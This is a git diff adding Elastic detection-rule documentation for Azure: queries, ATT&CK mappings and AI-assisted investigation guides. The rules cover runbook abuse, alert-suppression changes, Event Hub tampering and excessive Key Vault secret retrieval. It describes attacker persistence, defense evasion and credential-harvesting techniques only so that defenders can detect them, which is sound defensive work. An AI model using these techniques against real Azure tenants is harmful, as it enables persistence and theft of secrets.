https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-automation-runbook-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-automation-runbook-created-or-modified.asciidoc new file mode 100644 index 0000000000..2f33de0a09 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-automation-runbook-created-or-modified.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-20-azure-automation-runbook-created-or-modified]] +=== Azure Automation Runbook Created or Modified + +Identifies when an Azure Automation runbook is created or modified. An adversary may create or modify an Azure Automation runbook to execute malicious code and maintain persistence in their target's environment. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Runbook Created or Modified* + + +Azure Automation Runbooks are scripts that automate tasks in cloud environments, enhancing operational efficiency. However, adversaries can exploit them to execute unauthorized code and maintain persistence. The detection rule monitors specific Azure activity logs for runbook creation or modification events, flagging successful operations to identify potential misuse. This helps in early detection of malicious activities, ensuring cloud security. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific runbook that was created or modified, focusing on the operation names: "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DRAFT/WRITE", "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE", or "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/PUBLISH/ACTION". +- Check the event.outcome field to confirm the operation was successful, as indicated by the values "Success" or "success". +- Identify the user or service principal that performed the operation by examining the relevant user identity fields in the activity logs. +- Investigate the content and purpose of the runbook by reviewing its script or configuration to determine if it contains any unauthorized or suspicious code. +- Correlate the runbook activity with other security events or alerts in the environment to identify any patterns or related malicious activities. +- Verify if the runbook changes align with recent legitimate administrative activities or if they were unexpected, which could indicate potential misuse. + + +*False positive analysis* + + +- Routine updates or maintenance activities by authorized personnel can trigger alerts. To manage this, create exceptions for known maintenance windows or specific user accounts that regularly perform these tasks. +- Automated deployment processes that include runbook creation or modification might be flagged. Identify and exclude these processes by tagging them with specific identifiers in the logs. +- Integration with third-party tools that modify runbooks as part of their normal operation can result in false positives. Work with your IT team to whitelist these tools or their associated accounts. +- Frequent testing or development activities in non-production environments may cause alerts. Consider setting up separate monitoring rules or thresholds for these environments to reduce noise. +- Scheduled runbook updates for compliance or policy changes can be mistaken for suspicious activity. Document these schedules and adjust the detection rule to account for them, possibly by excluding specific operation names during these times. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Automation account to prevent further unauthorized runbook executions. This can be done by disabling the account or restricting its permissions temporarily. +- Review the modified or newly created runbooks to identify any malicious code or unauthorized changes. Remove or revert any suspicious modifications to ensure the integrity of the automation scripts. +- Conduct a thorough audit of recent activities associated with the affected Azure Automation account, focusing on identifying any unauthorized access or changes made by adversaries. +- Reset credentials and update access controls for the affected Azure Automation account to prevent further unauthorized access. Ensure that only authorized personnel have the necessary permissions to create or modify runbooks. +- Implement additional monitoring and alerting for Azure Automation activities, specifically focusing on runbook creation and modification events, to enhance early detection of similar threats in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or accounts have been compromised. +- Document the incident, including all actions taken and findings, to improve response strategies and update incident response plans for future reference. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and + azure.activitylogs.operation_name: + ( + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DRAFT/WRITE" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/WRITE" or + "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/PUBLISH/ACTION" + ) and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-automation-runbook-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-automation-runbook-deleted.asciidoc new file mode 100644 index 0000000000..ace1aa1dd3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-automation-runbook-deleted.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-20-azure-automation-runbook-deleted]] +=== Azure Automation Runbook Deleted + +Identifies when an Azure Automation runbook is deleted. An adversary may delete an Azure Automation runbook in order to disrupt their target's automated business operations or to remove a malicious runbook for defense evasion. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://powerzure.readthedocs.io/en/latest/Functions/operational.html#create-backdoor +* https://github.com/hausec/PowerZure +* https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a +* https://azure.microsoft.com/en-in/blog/azure-automation-runbook-management/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Automation Runbook Deleted* + + +Azure Automation Runbooks automate repetitive tasks in cloud environments, enhancing operational efficiency. Adversaries may exploit this by deleting runbooks to disrupt operations or conceal malicious activities. The detection rule monitors Azure activity logs for successful runbook deletions, signaling potential defense evasion tactics, and alerts analysts to investigate further. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking the operation name "MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DELETE" and ensure the event outcome is marked as Success. +- Identify the user or service principal responsible for the deletion by examining the associated user identity information in the activity logs. +- Investigate the timeline of events leading up to and following the runbook deletion to identify any suspicious activities or patterns, such as unauthorized access attempts or changes to other resources. +- Check for any recent modifications or unusual activities in the affected Azure Automation account to determine if there are other signs of compromise or tampering. +- Assess the impact of the deleted runbook on business operations and determine if any critical automation processes were disrupted. +- If applicable, review any available backup or version history of the deleted runbook to restore it and mitigate operational disruptions. + + +*False positive analysis* + + +- Routine maintenance activities by IT staff may lead to legitimate runbook deletions. To manage this, create exceptions for known maintenance periods or specific user accounts responsible for these tasks. +- Automated scripts or third-party tools that manage runbooks might trigger deletions as part of their normal operation. Identify these tools and exclude their activity from alerts by filtering based on their service accounts or IP addresses. +- Organizational policy changes or cloud environment restructuring can result in planned runbook deletions. Document these changes and adjust the detection rule to exclude these events by correlating with change management records. +- Test environments often involve frequent creation and deletion of runbooks. Exclude these environments from alerts by using tags or specific resource group identifiers associated with non-production environments. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Automation account to prevent further unauthorized deletions or modifications of runbooks. +- Review the Azure activity logs to identify the user or service principal responsible for the deletion and revoke their access if unauthorized. +- Restore the deleted runbook from backups or version control if available, ensuring that the restored version is free from any malicious modifications. +- Conduct a security review of all remaining runbooks to ensure they have not been tampered with or contain malicious code. +- Implement stricter access controls and auditing for Azure Automation accounts, ensuring that only authorized personnel have the ability to delete runbooks. +- Escalate the incident to the security operations team for further investigation and to determine if additional malicious activities have occurred. +- Enhance monitoring and alerting for similar activities by integrating additional context or indicators from the MITRE ATT&CK framework related to defense evasion tactics. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and + azure.activitylogs.operation_name:"MICROSOFT.AUTOMATION/AUTOMATIONACCOUNTS/RUNBOOKS/DELETE" and + event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc new file mode 100644 index 0000000000..68a57e3052 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-diagnostic-settings-alert-suppression-rule-created-or-modified.asciidoc @@ -0,0 +1,122 @@ +[[prebuilt-rule-8-19-20-azure-diagnostic-settings-alert-suppression-rule-created-or-modified]] +=== Azure Diagnostic Settings Alert Suppression Rule Created or Modified + +Identifies the creation of suppression rules in Azure. Suppression rules are a mechanism used to suppress alerts previously identified as false positives or too noisy to be in production. This mechanism can be abused or mistakenly configured, resulting in defense evasions and loss of security visibility. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations +* https://docs.microsoft.com/en-us/rest/api/securitycenter/alerts-suppression-rules/update + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Diagnostic Settings Alert Suppression Rule Created or Modified* + + +Azure Alert Suppression Rules are used to manage alert noise by filtering out known false positives. However, adversaries can exploit these rules to hide malicious activities by suppressing legitimate security alerts. The detection rule monitors Azure activity logs for successful operations related to suppression rule changes, helping identify potential misuse that could lead to defense evasion and reduced security visibility. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the specific suppression rule that was created or modified by filtering logs with the operation name "MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE" and ensuring the event outcome is "success". +- Determine the identity of the user or service principal that performed the operation by examining the associated user or service account details in the activity logs. +- Investigate the context and justification for the creation or modification of the suppression rule by checking any related change management records or communications. +- Assess the impact of the suppression rule on security visibility by identifying which alerts are being suppressed and evaluating whether these alerts are critical for detecting potential threats. +- Cross-reference the suppression rule changes with recent security incidents or alerts to determine if there is any correlation or if the rule could have been used to hide malicious activity. +- Verify the legitimacy of the suppression rule by consulting with relevant stakeholders, such as security operations or cloud management teams, to confirm if the change was authorized and aligns with security policies. + + +*False positive analysis* + + +- Routine maintenance activities by IT staff may trigger alerts when legitimate suppression rules are created or modified. To manage this, establish a baseline of expected changes and create exceptions for known maintenance periods or personnel. +- Automated processes or scripts that regularly update suppression rules for operational efficiency can generate false positives. Identify these processes and exclude their activity from alerting by using specific identifiers or tags associated with the automation. +- Changes made by trusted third-party security services that integrate with Azure might be flagged. Verify the legitimacy of these services and whitelist their operations to prevent unnecessary alerts. +- Frequent updates to suppression rules due to evolving security policies can lead to false positives. Document these policy changes and adjust the alerting criteria to accommodate expected modifications. +- Temporary suppression rules created during incident response to manage alert noise can be mistaken for malicious activity. Ensure these rules are documented and time-bound, and exclude them from alerting during the response period. + + +*Response and remediation* + + +- Immediately review the Azure activity logs to confirm the creation or modification of the suppression rule and identify the user or service account responsible for the change. +- Temporarily disable the suspicious suppression rule to restore visibility into potential security alerts that may have been suppressed. +- Conduct a thorough investigation of recent alerts that were suppressed by the rule to determine if any malicious activities were overlooked. +- If malicious activity is confirmed, initiate incident response procedures to contain and remediate the threat, including isolating affected resources and accounts. +- Escalate the incident to the security operations team for further analysis and to assess the potential impact on the organization's security posture. +- Implement additional monitoring and alerting for changes to suppression rules to ensure any future modifications are promptly detected and reviewed. +- Review and update access controls and permissions for creating or modifying suppression rules to ensure only authorized personnel can make such changes. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.SECURITY/ALERTSSUPPRESSIONRULES/WRITE" and +event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-event-hub-authorization-rule-created-or-updated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-event-hub-authorization-rule-created-or-updated.asciidoc new file mode 100644 index 0000000000..640c416d3e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-event-hub-authorization-rule-created-or-updated.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-20-azure-event-hub-authorization-rule-created-or-updated]] +=== Azure Event Hub Authorization Rule Created or Updated + +Identifies when an Event Hub Authorization Rule is created or updated in Azure. An authorization rule is associated with specific rights, and carries a pair of cryptographic keys. When you create an Event Hubs namespace, a policy rule named RootManageSharedAccessKey is created for the namespace. This has manage permissions for the entire namespace and it's recommended that you treat this rule like an administrative root account and don't use it in your application. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/event-hubs/authorize-access-shared-access-signature + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Event Hub Authorization Rule Created or Updated* + + +Azure Event Hub Authorization Rules manage access to Event Hubs via cryptographic keys, akin to administrative credentials. Adversaries may exploit these rules to gain unauthorized access or escalate privileges, potentially exfiltrating data. The detection rule monitors for the creation or modification of these rules, flagging successful operations to identify potential misuse or unauthorized changes. + + +*Possible investigation steps* + + +- Review the Azure activity logs to identify the user or service principal associated with the operation by examining the `azure.activitylogs.operation_name` and `event.outcome` fields. +- Check the timestamp of the event to determine when the authorization rule was created or updated, and correlate this with any other suspicious activities around the same time. +- Investigate the specific Event Hub namespace affected by the rule change to understand its role and importance within the organization. +- Verify if the `RootManageSharedAccessKey` or any other high-privilege authorization rule was involved, as these carry significant risk if misused. +- Assess the necessity and legitimacy of the rule change by contacting the user or team responsible for the Event Hub namespace to confirm if the change was authorized and aligns with operational needs. +- Examine any subsequent access patterns or data transfers from the affected Event Hub to detect potential data exfiltration or misuse following the rule change. + + +*False positive analysis* + + +- Routine administrative updates to authorization rules by IT staff can trigger alerts. To manage this, create exceptions for known administrative accounts or scheduled maintenance windows. +- Automated scripts or deployment tools that update authorization rules as part of regular operations may cause false positives. Identify these scripts and exclude their activity from alerts by filtering based on their service principal or user identity. +- Changes made by trusted third-party services integrated with Azure Event Hub might be flagged. Verify these services and exclude their operations by adding them to an allowlist. +- Frequent updates during development or testing phases can lead to false positives. Consider setting up separate monitoring profiles for development environments to reduce noise. +- Legitimate changes made by users with appropriate permissions might be misinterpreted as threats. Regularly review and update the list of authorized users to ensure only necessary personnel have access, and exclude their actions from alerts. + + +*Response and remediation* + + +- Immediately revoke or rotate the cryptographic keys associated with the affected Event Hub Authorization Rule to prevent unauthorized access. +- Review the Azure Activity Logs to identify any unauthorized access or data exfiltration attempts that may have occurred using the compromised authorization rule. +- Implement conditional access policies to restrict access to Event Hub Authorization Rules based on user roles and network locations. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised. +- Conduct a security review of all Event Hub Authorization Rules to ensure that only necessary permissions are granted and that the RootManageSharedAccessKey is not used in applications. +- Enhance monitoring and alerting for changes to authorization rules by integrating with a Security Information and Event Management (SIEM) system to detect similar threats in the future. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.EVENTHUB/NAMESPACES/AUTHORIZATIONRULES/WRITE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-event-hub-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-event-hub-deleted.asciidoc new file mode 100644 index 0000000000..f1a2e1af84 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-event-hub-deleted.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-20-azure-event-hub-deleted]] +=== Azure Event Hub Deleted + +Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.activitylogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about +* https://azure.microsoft.com/en-in/services/event-hubs/ +* https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-features + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Log Auditing +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Azure Event Hub Deleted* + + +Azure Event Hub is a scalable data streaming platform and event ingestion service, crucial for processing large volumes of data in real-time. Adversaries may target Event Hubs to delete them, aiming to disrupt data flow and evade detection by erasing evidence of their activities. The detection rule monitors Azure activity logs for successful deletion operations, flagging potential defense evasion attempts by identifying unauthorized or suspicious deletions. + + +*Possible investigation steps* + + +- Review the Azure activity logs to confirm the deletion event by checking the operation name "MICROSOFT.EVENTHUB/NAMESPACES/EVENTHUBS/DELETE" and ensure the event outcome is marked as Success. +- Identify the user or service principal responsible for the deletion by examining the associated user identity or service principal ID in the activity logs. +- Investigate the context of the deletion by reviewing recent activities performed by the identified user or service principal to determine if there are any other suspicious actions. +- Check for any recent changes in permissions or roles assigned to the user or service principal to assess if the deletion was authorized or if there was a potential privilege escalation. +- Correlate the deletion event with other security alerts or incidents in the environment to identify if this action is part of a larger attack pattern or campaign. +- Communicate with relevant stakeholders or teams to verify if the deletion was part of a planned operation or maintenance activity. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can trigger deletion logs. Verify if the deletion aligns with scheduled maintenance activities and exclude these operations from alerts. +- Automated scripts or tools used for managing Azure resources might delete Event Hubs as part of their normal operation. Identify these scripts and whitelist their activity to prevent false positives. +- Test environments often involve frequent creation and deletion of resources, including Event Hubs. Exclude known test environments from monitoring to reduce noise. +- Changes in organizational policies or restructuring might lead to legitimate deletions. Ensure that such policy-driven deletions are documented and excluded from alerts. +- Misconfigured automation or deployment processes can inadvertently delete Event Hubs. Regularly review and update configurations to ensure they align with intended operations and exclude these from alerts if verified as non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected Azure Event Hub namespace to prevent further unauthorized deletions or modifications. This can be done by restricting access through Azure Role-Based Access Control (RBAC) and network security groups. +- Review and revoke any suspicious or unauthorized access permissions associated with the deleted Event Hub. Ensure that only authorized personnel have the necessary permissions to manage Event Hubs. +- Restore the deleted Event Hub from backups if available, or reconfigure it to resume normal operations. Verify the integrity and completeness of the restored data. +- Conduct a thorough audit of recent Azure activity logs to identify any other unauthorized actions or anomalies that may indicate further compromise. +- Escalate the incident to the security operations team for a detailed investigation into the root cause and to assess the potential impact on other Azure resources. +- Implement additional monitoring and alerting for Azure Event Hub operations to detect and respond to similar unauthorized activities promptly. +- Review and update security policies and access controls for Azure resources to prevent recurrence, ensuring adherence to the principle of least privilege. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.EVENTHUB/NAMESPACES/EVENTHUBS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc new file mode 100644 index 0000000000..784fb9fa61 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-key-vault-excessive-secret-or-key-retrieved.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-20-azure-key-vault-excessive-secret-or-key-retrieved]] +=== Azure Key Vault Excessive Secret or Key Retrieved + +Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 43 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html + +*Tags*: + +* Domain: Cloud +* Domain: Storage +* Domain: Identity +* Data Source: Azure +* Data Source: Azure Platform Logs +* Data Source: Azure Key Vault +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Key Vault Excessive Secret or Key Retrieved* + + +Azure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts. + + +*Possible investigation steps* + +- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious. +- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies. +- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources. +- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault. +- Check the `source.ip` or `source.geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior. +- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity. +- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents. +- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies. + + +*False positive analysis* + +- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. +- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications. +- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals. + + +*Response and remediation* + +- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals. +- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault. +- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals. +- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts. +- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets. +- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments. + + +==== Setup + + + +*Required Azure Key Vault Diagnostic Logs* + + +To ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault: +- AuditEvent: This log captures all read and 